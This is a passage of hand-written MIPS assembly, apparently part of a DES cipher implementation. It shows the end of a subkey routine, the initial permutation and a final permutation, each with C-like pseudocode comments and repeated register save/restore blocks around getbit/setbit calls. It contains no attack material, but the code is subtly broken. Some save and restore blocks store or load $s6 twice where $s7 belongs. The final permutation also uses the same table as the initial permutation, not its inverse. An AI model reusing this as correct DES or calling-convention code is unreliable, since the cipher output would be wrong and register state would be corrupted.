sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pSUBKEY_ex
pSUBKEY_ex:
addi $t8,$t8,1 #i+=1
j pSUBKEY_check
pSUBKEY_exit:
add $s5,$zero,$t6 #r
add $s6,$zero,$t5 #l
srl $v0,$s5,8
sll $v0,$v0,8
srl $v1,$s6,8
sll $v1,$v1,8
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
#pIP----------------------------------------------------
#$s0 #l
#$s1 #r
#jal pIP
#void pIP(int &l,int &r){
# int map[64]={58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7};
# int hl=l;
# int hr=r;
# for (int t=0;t<64;t++){
# if (map[t]>32){
# if (t>31){
# setB(hr,getB(r,map[t]-32),t-31);
# }
# else{
# setB(hl,getB(r,map[t]-32),t+1);
# }
# }
# else{
# if (t>31){
# setB(hr,getB(l,map[t]),t-31);
# }
# else{
# setB(hl,getB(l,map[t]),t+1);
# }
# }
#
# }
# r=hr;
# l=hl;
#}
pIP:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
add $t5,$s0,$zero #hl
add $t6,$s1,$zero #hr
addi $s7,$ra,0
li $t8,0 #t
li $t1,0 #map[t]
pIP_check:
slt $t2,$t8,64
beq $t2,$zero,pIP_exit
pIP_loop:
lb $t1,map_pIP($t8) #map[t]
li $t7,32
slt $t2,$t7,$t1
beq $t2,$zero,pIP_get_l
pIP_get_r:
addi $t3,$t1,-32
li $t7,31
slt $t2,$t7,$t8
beq $t2,$zero,pIP_get_r_set_l
pIP_get_r_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,-31
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pIP_ex
pIP_get_r_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pIP_ex
pIP_get_l:
addi $t3,$t1,0
li $t7,31
slt $t2,$t7,$t8
beq $t2,$zero,pIP_get_l_set_l
pIP_get_l_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
ori $t7,$v1,0
addi $t3,$t8,-31
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$t7,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j pIP_ex
pIP_get_l_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j pIP_ex
pIP_ex:
addi $t8,$t8,1 #i+=1
j pIP_check
pIP_exit:
addi $ra,$s7,0
add $v0,$zero,$t6 #r
add $v1,$zero,$t5 #l
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
#finalIP----------------------------------------------------
#$s0 #l
#$s1 #r
#jal finalIP
#void finalIP(int &l,int &r){
# int map[64]={58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7};
# int hl=l;
# int hr=r;
# for (int t=0;t<64;t++){
# if (map[t]>32){
# if (t>31){
# setB(hr,getB(r,map[t]-32),t-31);
# }
# else{
# setB(hl,getB(r,map[t]-32),t+1);
# }
# }
# else{
# if (t>31){
# setB(hr,getB(l,map[t]),t-31);
# }
# else{
# setB(hl,getB(l,map[t]),t+1);
# }
# }
#
# }
# r=hr;
# l=hl;
#}
finalIP:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
add $t5,$s0,$zero #hl
add $t6,$s1,$zero #hr
addi $s7,$ra,0
li $t8,0 #t
li $t1,0 #map[t]
finalIP_check:
slt $t2,$t8,64
beq $t2,$zero,finalIP_exit
finalIP_loop:
lb $t1,map_finalIP($t8) #map[t]
li $t7,32
slt $t2,$t7,$t1
beq $t2,$zero,finalIP_get_l
finalIP_get_r:
addi $t3,$t1,-32
li $t7,31
slt $t2,$t7,$t8
beq $t2,$zero,finalIP_get_r_set_l
finalIP_get_r_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,-31
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j finalIP_ex
finalIP_get_r_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j finalIP_ex
finalIP_get_l:
addi $t3,$t1,0
li $t7,31
slt $t2,$t7,$t8
beq $t2,$zero,finalIP_get_l_set_l
finalIP_get_l_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
ori $t7,$v1,0
addi $t3,$t8,-31
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$t7,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j finalIP_ex
finalIP_get_l_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j finalIP_ex
finalIP_ex:
addi $t8,$t8,1 #i+=1
j finalIP_check
finalIP_exit:
addi $ra,$s7,0
add $v0,$zero,$t6 #r
add $v1,$zero,$t5 #l
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
